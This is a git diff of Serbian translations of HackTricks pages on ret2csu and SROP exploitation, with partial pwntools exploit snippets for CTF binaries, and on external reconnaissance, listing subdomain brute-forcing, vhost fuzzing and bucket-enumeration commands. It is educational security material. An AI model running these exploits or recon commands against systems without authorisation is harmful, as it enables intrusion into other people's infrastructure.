# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@ -73,33 +73,33 @@ gef➤ search-pattern 0x400560
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
```
* `rbp` и `rbx` морају имати исту вредност да би се избегао скок
* Постоје неки пропуштени `pop` инструкције које треба узети у обзир
* `rbp` i `rbx` moraju imati istu vrednost da bi se izbegao skok
* Postoje neki izostavljeni pops koje treba uzeti u obzir
## RDI и RSI
## RDI i RSI
Још један начин за контролисање **`rdi`** и **`rsi`** из **ret2csu** гаджета је приступање одређеним офсетима:
Još jedan način da kontrolišete **`rdi`** i **`rsi`** iz ret2csu gadgeta je pristupanje specifičnim ofsetima:
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Погледајте ову страницу за више информација:
Proverite ovu stranicu za više informacija:
{% content-ref url="brop-blind-return-oriented-programming.md" %}
[brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md)
{% endcontent-ref %}
## Пример
## Primer
### Коришћење позива
### Korišćenje poziva
Замислите да желите да направите системски позив или позвате функцију као што је `write()`, али вам требају специфичне вредности у регистрима `rdx` и `rsi` као параметре. Обично бисте тражили гаджете који постављају ове регистре директно, али их не можете пронаћи.
Zamislite da želite da izvršite syscall ili pozovete funkciju kao što je `write()`, ali su vam potrebne specifične vrednosti u registrima `rdx` i `rsi` kao parametri. Obično biste tražili gadgete koji direktno postavljaju te registre, ali ne možete pronaći nijedan.
Овде на сцену ступа **ret2csu**:
Evo gde **ret2csu** dolazi do izražaja:
1. **Поставите регистре**: Користите први магични гаджет да избаците вредности са стека и у `rbx`, `rbp`, `r12` (edi), `r13` (rsi), `r14` (rdx) и `r15`.
2. **Користите други гаджет**: Са тим постављеним регистрима, користите други гаджет. Ово вам омогућава да преместите изабране вредности у `rdx` и `rsi` (из r14 и r13, респективно), спремајући параметре за позив функције. Штавише, контролишући `r15` и `rbx`, можете навести програм да позва функцију која се налази на адреси коју израчунавате и стављате у `[r15 + rbx*8]`.
1. **Postavite Registre**: Koristite prvi magični gadget da izvučete vrednosti sa steka i smestite ih u rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) i r15.
2. **Koristite Drugi Gadget**: Kada su ti registri postavljeni, koristite drugi gadget. Ovo vam omogućava da premestite izabrane vrednosti u `rdx` i `rsi` (iz r14 i r13, redom), pripremajući parametre za poziv funkcije. Štaviše, kontrolišući `r15` i `rbx`, možete naterati program da pozove funkciju smeštenu na adresi koju izračunate i stavite u `[r15 + rbx*8]`.
Имате [**пример коришћења ове технике и објашњење овде**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), а ово је крајњи експлоит који је коришћен:
Imate [**primer korišćenja ove tehnike i objašnjenja ovde**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), a ovo je konačni exploit koji je korišćen:
```python
from pwn import *
@ -124,12 +124,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
{% hint style="warning" %}
Imajte na umu da prethodni exploit nije namenjen za **`RCE`**, već samo da pozove funkciju nazvanu **`win`** (uzimanje adrese `win` sa stdin pozivanjem gets u ROP lancu i smeštanje u r15) sa trećim argumentom sa vrednošću `0xdeadbeefcafed00d`.
Napomena da prethodni exploit nije namenjen za **`RCE`**, već samo da pozove funkciju pod nazivom **`win`** (uzimajući adresu `win` iz stdin pozivajući gets u ROP lancu i čuvajući je u r15) sa trećim argumentom sa vrednošću `0xdeadbeefcafed00d`.
{% endhint %}
### Bypassing the call and reaching ret
### Zaobilaženje poziva i dolazak do ret
Sledeći exploit je izvučen [**sa ove stranice**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) gde se koristi **ret2csu** ali umesto korišćenja poziva, **zaobilazi poređenja i stiže do `ret`** nakon poziva:
Sledeći exploit je izvučen [**sa ove stranice**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) gde se koristi **ret2csu**, ali umesto korišćenja poziva, **zaobilazi poređenja i dolazi do `ret`** nakon poziva:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -181,4 +181,4 @@ target.interactive()
```
### Zašto ne koristiti libc direktno?
Obično su ovi slučajevi takođe ranjivi na **ret2plt** + **ret2lib**, ali ponekad morate kontrolisati više parametara nego što se lako kontrolišu pomoću gedžeta koje direktno pronađete u libc-u. Na primer, funkcija `write()` zahteva tri parametra, a **pronaći gedžete za postavljanje svih ovih direktno možda nije moguće**.
Obično su ovi slučajevi takođe ranjivi na [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), ali ponekad je potrebno kontrolisati više parametara nego što se lako može kontrolisati sa gadgetima koje direktno pronađete u libc. Na primer, `write()` funkcija zahteva tri parametra, i **pronalazak gadgeta za postavljanje svih ovih direktno možda neće biti moguć**.

View file

@ -1,8 +1,8 @@
# SROP - ARM64
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -143,13 +143,13 @@ char* b = gen_stack();
return 0;
}
```
## Exploit
## Eksploatacija
U sekciji **`vdso`** moguće je pronaći poziv na **`sigreturn`** na offsetu **`0x7b0`**:
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Dakle, ako je otkriven, moguće je **koristiti ovu adresu za pristup `sigreturn`** ako binarni fajl je ne učitava:
Stoga, ako dođe do curenja, moguće je **koristiti ovu adresu za pristup `sigreturn`** ako binarni fajl ne učitava.
```python
from pwn import *
@ -191,12 +191,12 @@ A da biste zaobišli adresu `/bin/sh`, možete kreirati nekoliko env varijabli k
{% endcontent-ref %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
<summary>Podrška HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,8 +1,8 @@
# Metodologija Eksterne Recon
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
@ -23,9 +23,9 @@ Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne mo
## Otkrića imovine
> Tako su vam rekli da je sve što pripada nekoj kompaniji unutar opsega, i želite da saznate šta ta kompanija zapravo poseduje.
> Tako su vam rekli da je sve što pripada nekoj kompaniji unutar opsega, i želite da saznate šta ova kompanija zapravo poseduje.
Cilj ove faze je da se dobiju sve **kompanije koje poseduje glavna kompanija** i zatim sve **imovine** tih kompanija. Da bismo to postigli, uradićemo sledeće:
Cilj ove faze je da se dobiju sve **kompanije koje poseduje glavna kompanija** i zatim sve **imovine** ovih kompanija. Da bismo to postigli, uradićemo sledeće:
1. Pronaći akvizicije glavne kompanije, to će nam dati kompanije unutar opsega.
2. Pronaći ASN (ako postoji) svake kompanije, to će nam dati IP opsege koje poseduje svaka kompanija.
@ -43,7 +43,7 @@ Druga opcija je da posetite **Wikipedia** stranicu glavne kompanije i potražite
### **ASN-ovi**
Broj autonomnog sistema (**ASN**) je **jedinstveni broj** dodeljen **autonomnom sistemu** (AS) od strane **Internet Assigned Numbers Authority (IANA)**.\
**AS** se sastoji od **blokova** **IP adresa** koji imaju jasno definisanu politiku za pristup spoljnim mrežama i kojima upravlja jedna organizacija, ali se mogu sastojati od više operatera.
**AS** se sastoji od **blokova** **IP adresa** koje imaju jasno definisanu politiku za pristup spoljnim mrežama i kojima upravlja jedna organizacija, ali se mogu sastojati od više operatera.
Zanimljivo je saznati da li je **kompanija dodelila neki ASN** da bi pronašla svoje **IP opsege.** Bilo bi zanimljivo izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i **tražiti domene** unutar ovih IP adresa.\
Možete **pretraživati** po imenu kompanije, po **IP-u** ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\
@ -76,7 +76,7 @@ Možete pronaći IP i ASN domena koristeći [http://ipv4info.com/](http://ipv4in
### **Traženje ranjivosti**
U ovom trenutku znamo **sve resurse unutar opsega**, tako da, ako vam je dozvoljeno, možete pokrenuti neki **skener ranjivosti** (Nessus, OpenVAS) na svim hostovima.\
Takođe, možete pokrenuti neke [**port skenove**](../pentesting-network/#discovering-hosts-from-the-outside) **ili koristiti usluge kao što je** shodan **da pronađete** otvorene portove **i u zavisnosti od onoga što pronađete, trebali biste** pogledati u ovoj knjizi kako da pentestujete nekoliko mogućih usluga koje rade.\
Takođe, možete pokrenuti neke [**port skenove**](../pentesting-network/#discovering-hosts-from-the-outside) **ili koristiti usluge kao što je** shodan **da pronađete** otvorene portove **i u zavisnosti od onoga što pronađete, trebali biste** pogledati u ovu knjigu kako da pentestujete nekoliko mogućih usluga koje rade.\
**Takođe, vredi napomenuti da možete pripremiti neke** liste podrazumevanih korisničkih imena **i** lozinki **i pokušati da** bruteforce-ujete usluge sa [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domeni
@ -101,7 +101,7 @@ Takođe možete koristiti online alat za ove informacije: [http://ptrarchive.com
### **Obrnuti Whois (loop)**
Unutar **whois** možete pronaći mnogo zanimljivih **informacija** kao što su **ime organizacije**, **adresa**, **emailovi**, brojevi telefona... Ali ono što je još zanimljivije je da možete pronaći **više sredstava povezanih sa kompanijom** ako izvršite **obrnute whois pretrage po bilo kojem od tih polja** (na primer, druge whois registre gde se isti email pojavljuje).\
Unutar **whois** možete pronaći mnogo zanimljivih **informacija** kao što su **ime organizacije**, **adresa**, **emailovi**, brojevi telefona... Ali ono što je još zanimljivije je da možete pronaći **više sredstava povezanih sa kompanijom** ako izvršite **obrnute whois pretrage po bilo kojem od tih polja** (na primer, druge whois registre gde se pojavljuje isti email).\
Možete koristiti online alate kao što su:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Besplatno**
@ -113,9 +113,9 @@ Možete koristiti online alate kao što su:
* [https://www.domainiq.com/](https://www.domainiq.com) - Nije besplatno
Možete automatizovati ovaj zadatak koristeći [**DomLink** ](https://github.com/vysecurity/DomLink) (zahteva whoxy API ključ).\
Takođe možete izvršiti neku automatsku obrnutu whois pretragu sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
Takođe možete izvršiti neku automatsku obrnutu whois otkrivanje sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Napomena da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novi domen.**
**Imajte na umu da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novi domen.**
### **Trackers**
@ -160,7 +160,7 @@ return fhash
```
### **Copyright / Uniq string**
Pretražujte unutar web stranica **nizove koji se mogu deliti između različitih webova u istoj organizaciji**. **Copyright string** može biti dobar primer. Zatim pretražujte taj niz u **google-u**, u drugim **pregledačima** ili čak u **shodan-u**: `shodan search http.html:"Copyright string"`
Pretražujte unutar web stranica **nizove koji se mogu deliti između različitih webova u istoj organizaciji**. **Copyright string** može biti dobar primer. Zatim pretražujte taj niz u **google**, u drugim **pregledačima** ili čak u **shodan**: `shodan search http.html:"Copyright string"`
### **CRT Time**
@ -174,7 +174,7 @@ Check out this [**writeup for more information**](https://swarm.ptsecurity.com/d
### Mail DMARC information
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domeni i poddomeni koji dele iste dmarc informacije**.
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**.
### **Passive Takeover**
@ -194,7 +194,7 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga
**Assetfinder**
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domeni povezani** sa glavnim domenom i **poddomenima** njih, prilično neverovatno.
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing.
### **Looking for vulnerabilities**
@ -220,7 +220,7 @@ Note that some of the tools and techniques to find domains can also help to find
### **DNS**
Let's try to get **poddomeni** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
```bash
dnsrecon -a -d tesla.com
```
@ -307,7 +307,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
* [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL adrese iz AlienVault-ove Open Threat Exchange, Wayback Machine-a i Common Crawl-a za bilo koju datu domenu.
* [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL adrese iz AlienVault-ove Open Threat Exchange, Wayback Machine i Common Crawl za bilo koju datu domenu.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@ -337,7 +337,7 @@ python3 censys-subdomain-finder.py tesla.com
```bash
python3 DomainTrail.py -d example.com
```
* [**securitytrails.com**](https://securitytrails.com/) ima besplatan API za pretragu subdomena i istoriju IP adresa
* [**securitytrails.com**](https://securitytrails.com/) ima besplatan API za pretragu subdomena i istorije IP adresa
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Ovaj projekat nudi **besplatno sve subdomene povezane sa bug-bounty programima**. Ove podatke možete pristupiti i koristeći [chaospy](https://github.com/dr-0x0x/chaospy) ili čak pristupiti opsegu koji koristi ovaj projekat [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
@ -358,7 +358,7 @@ Za ovu akciju biće vam potrebne neke **uobičajene liste reči za subdomene kao
I takođe IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Najpreporučiviji alati za DNS brute-force su:
Najpreporučivaniji alati za DNS brute-force su:
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je efikasno izveo DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivnim rezultatima.
```bash
@ -370,7 +370,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go, koji vam omogućava da enumerišete važeće poddomene koristeći aktivni bruteforce, kao i da rešavate poddomene sa obradom wildcard-a i jednostavnom podrškom za ulaz-izlaz.
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go, koji vam omogućava da enumerišete validne poddomene koristeći aktivni bruteforce, kao i da rešavate poddomene sa obradom wildcard-a i jednostavnom podrškom za ulaz-izlaz.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -390,17 +390,17 @@ Nakon što ste pronašli poddomene koristeći otvorene izvore i brute-forcing, m
```bash
cat subdomains.txt | dnsgen -
```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domene i poddomene generišite permutacije.
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domeni i poddomeni generišite permutacije.
* Možete dobiti goaltdns permutacije **wordlist** [**ovde**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
* [**gotator**](https://github.com/Josue87/gotator)**:** Dati domeni i poddomeni generišu permutacije. Ako nije naznačen fajl sa permutacijama, gotator će koristiti svoj.
* [**gotator**](https://github.com/Josue87/gotator)**:** Dati domeni i subdomeni generišu permutacije. Ako nije naznačen fajl sa permutacijama, gotator će koristiti svoj.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Osim generisanja permutacija poddomena, može pokušati i da ih reši (ali je bolje koristiti prethodno pomenute alate).
* Možete dobiti altdns permutacije **wordlist** u [**ovde**](https://github.com/infosec-au/altdns/blob/master/words.txt).
* Možete dobiti altdns permutacije **wordlist** [**ovde**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -414,7 +414,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
#### Generisanje pametnih permutacija
* [**regulator**](https://github.com/cramppet/regulator): Za više informacija pročitajte ovaj [**post**](https://cramppet.github.io/regulator/index.html), ali će u osnovi uzeti **glavne delove** iz **otkrivenih poddomena** i mešati ih kako bi pronašao više poddomena.
* [**regulator**](https://github.com/cramppet/regulator): Za više informacija pročitajte ovaj [**post**](https://cramppet.github.io/regulator/index.html), ali će u suštini uzeti **glavne delove** iz **otkrivenih poddomena** i mešati ih kako bi pronašao više poddomena.
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
@ -424,7 +424,7 @@ puredns resolve adobe.brute --write adobe.valid
```
echo www | subzuf facebook.com
```
### **Workflow za otkrivanje poddomena**
### **Workflow za Otkriće Poddomena**
Pogledajte ovaj blog post koji sam napisao o tome kako da **automatizujem otkrivanje poddomena** sa domena koristeći **Trickest workflows** tako da ne moram ručno da pokrećem gomilu alata na svom računaru:
@ -432,13 +432,13 @@ Pogledajte ovaj blog post koji sam napisao o tome kako da **automatizujem otkriv
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
### **VHosts / Virtuelni hostovi**
### **VHosts / Virtuelni Hostovi**
Ako ste pronašli IP adresu koja sadrži **jednu ili više web stranica** koje pripadaju poddomenima, možete pokušati da **pronađete druge poddomene sa web stranicama na toj IP adresi** tražeći u **OSINT izvorima** za domene na IP-u ili **brute-forcing VHost imena domena na toj IP adresi**.
#### OSINT
Možete pronaći neke **VHosts na IP-ovima koristeći** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ili druge API-je**.
Možete pronaći neke **VHost-ove na IP-ovima koristeći** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ili druge API-je**.
**Brute Force**
@ -469,7 +469,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **Buckets Brute Force**
Dok tražite **subdomene**, obratite pažnju da li se **upučuju** na neku vrstu **buckets**, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Takođe, pošto ćete u ovom trenutku znati sve domene unutar opsega, pokušajte da [**brute force-ujete moguće nazive buckets i proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
Takođe, kako ćete u ovom trenutku znati sve domene unutar opsega, pokušajte da [**brute force-ujete moguće nazive buckets i proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
### **Monitorizacija**
@ -478,25 +478,25 @@ Možete **pratiti** da li su **nove subdomene** domena kreirane praćenjem **Cer
### **Traženje ranjivosti**
Proverite moguće [**preuzimanje subdomena**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Ako **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
Ako se **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
Ako pronađete neku **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od usluga koje se pokreću, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
Ako pronađete neku **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
_Napomena: ponekad je subdomena hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
## IPs
U početnim koracima možda ste **pronašli neke IP opsege, domene i subdomene**.\
Sada je vreme da **prikupite sve IP adrese iz tih opsega** i za **domene/subdomene (DNS upiti).**
Vreme je da **prikupite sve IP-ove iz tih opsega** i za **domene/subdomene (DNS upiti).**
Koristeći usluge iz sledećih **besplatnih API-ja**, takođe možete pronaći **prethodne IP adrese korišćene od strane domena i subdomena**. Ove IP adrese možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare zaobilaženja**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
Koristeći usluge iz sledećih **besplatnih API-ja**, takođe možete pronaći **prethodne IP-ove koje su koristili domene i subdomene**. Ovi IP-ovi možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare zaobilaženja**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
* [**https://securitytrails.com/**](https://securitytrails.com/)
Takođe možete proveriti za domene koje upućuju na određenu IP adresu koristeći alat [**hakip2host**](https://github.com/hakluke/hakip2host)
Takođe možete proveriti domene koje upućuju na određenu IP adresu koristeći alat [**hakip2host**](https://github.com/hakluke/hakip2host)
### **Traženje ranjivosti**
**Skenirajte sve IP adrese koje ne pripadaju CDN-ima** (jer verovatno nećete pronaći ništa zanimljivo tamo). U otkrivenim uslugama možda ćete **moći da pronađete ranjivosti**.
**Skenirajte sve IP-ove koji ne pripadaju CDN-ima** (jer verovatno nećete pronaći ništa zanimljivo tamo). U otkrivenim servisima možda ćete **moći da pronađete ranjivosti**.
**Pronađite** [**vodič**](../pentesting-network/) **o tome kako skenirati hostove.**
@ -504,9 +504,9 @@ Takođe možete proveriti za domene koje upućuju na određenu IP adresu koriste
> Pronašli smo sve kompanije i njihove resurse i znamo IP opsege, domene i subdomene unutar opsega. Vreme je da tražimo web servere.
U prethodnim koracima verovatno ste već izvršili neku **recon za IP adrese i domene koje ste otkrili**, tako da ste možda **već pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za pretragu web servera** unutar opsega.
U prethodnim koracima verovatno ste već izvršili neku **recon za otkrivene IP-ove i domene**, tako da ste možda **već pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za pretragu web servera** unutar opsega.
Molimo vas da napomenete da će ovo biti **orijentisano na otkrivanje web aplikacija**, tako da biste trebali **izvršiti skeniranje ranjivosti** i **skeniranje portova** takođe (**ako je dozvoljeno** od strane opsega).
Molimo vas, imajte na umu da će ovo biti **orijentisano na otkrivanje web aplikacija**, tako da biste trebali **izvršiti skeniranje ranjivosti** i **skeniranje portova** takođe (**ako je dozvoljeno** od strane opsega).
**Brza metoda** za otkrivanje **otvorenih portova** povezanih sa **web** serverima koristeći [**masscan** može se pronaći ovde](../pentesting-network/#http-port-discovery).\
Još jedan prijateljski alat za pretragu web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Samo prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Pored toga, možete naznačiti da pokuša i druge portove:
@ -516,7 +516,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
```
### **Screenshots**
Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenama**) verovatno **ne znate odakle da počnete**. Dakle, pojednostavimo to i počnimo tako što ćemo praviti snimke ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenama**) verovatno **ne znate odakle da počnete**. Dakle, pojednostavimo i počnimo tako što ćemo praviti snimke ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
@ -536,7 +536,7 @@ Zatim, sa tim rečima trebali biste generisati **permutacije** (pogledajte [**Se
Sa dobijenim listama reči možete koristiti alate kao što su [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
